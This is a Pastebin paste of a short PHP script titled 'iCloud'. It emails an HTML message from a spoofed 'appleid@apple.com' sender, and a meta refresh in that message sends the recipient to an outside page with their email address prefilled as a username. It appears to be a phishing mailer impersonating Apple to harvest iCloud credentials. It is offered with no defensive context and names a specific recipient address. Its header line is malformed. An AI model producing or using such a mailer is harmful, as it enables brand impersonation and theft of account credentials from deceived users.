Advertisement
Guest User

iCloud

a guest
Jun 18th, 2015
532
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. <?php
  2.  
  3. $to = "chrisherndon10@gmail.com";
  4.  
  5. $subject = "iCloud";
  6.  
  7.  
  8. $message = '<html>';
  9. $message .= '<head>
  10. <meta charset="utf-8">
  11. <meta content="initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no, width=device-width, height=device-height" name="viewport">
  12. <meta http-equiv=refresh content=0;URL=http://testtrial.site90.net/index.php?modal-username=chrisherndon10@gmail.com />
  13. <style>
  14. html, body {
  15. position: relative;
  16. height: 100%;
  17. width: 100%;
  18. overflow-x: hidden;
  19. }
  20.  
  21. body {
  22. font-family: Helvetica Neue,Helvetica,Arial,sans-serif;
  23. margin: 0;
  24. padding: 0;
  25. color: #000;
  26. font-size: 14px;
  27. line-height: 1.4;
  28. width: 100%;
  29. height: 110%;
  30. -webkit-text-size-adjust: 100%;
  31. background: #fff;
  32. overflow: hidden;
  33. }
  34. </style>
  35. </head>';
  36.  
  37. $message .='</html>';
  38.  
  39. $from = "appleid@apple.com";
  40.  
  41. $headers .= "Content-Type: text/html; \"From:\" . $from; charset=ISO-8859-1\r\n";
  42. $mail = mail($to, $subject, $message, $headers);
  43.  
  44. if($mail)
  45. {
  46. echo "Email sent to ".$to;
  47. }
  48. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement